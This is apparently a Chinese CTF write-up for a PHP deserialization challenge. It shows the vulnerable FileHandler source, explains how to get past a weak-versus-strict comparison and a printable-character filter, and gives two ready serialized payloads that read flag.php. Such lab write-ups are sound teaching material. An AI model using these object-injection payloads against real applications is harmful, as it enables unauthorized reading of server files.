题目源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
?>

主要绕过两个点,一是is_valid该函数限制了str中只能有ascii可见字符.二是绕过__destruction中的$this->op === "2".

第二个比较简单,由于前面的process函数中用的是弱等于,所以$op=2;即可.

第一个有两种方式可以绕.

(1)由于本题的php版本较高,而php7.1+版本对类属性的检测不严格,所以可以将源码中的protected改为public来绕过.

(2)将代表字符串的s改为大写,即表示后面的字符串支持用16进制表示.

payload1:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"leuk";}

payload2:O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";s:4:"leuk";}

 

 

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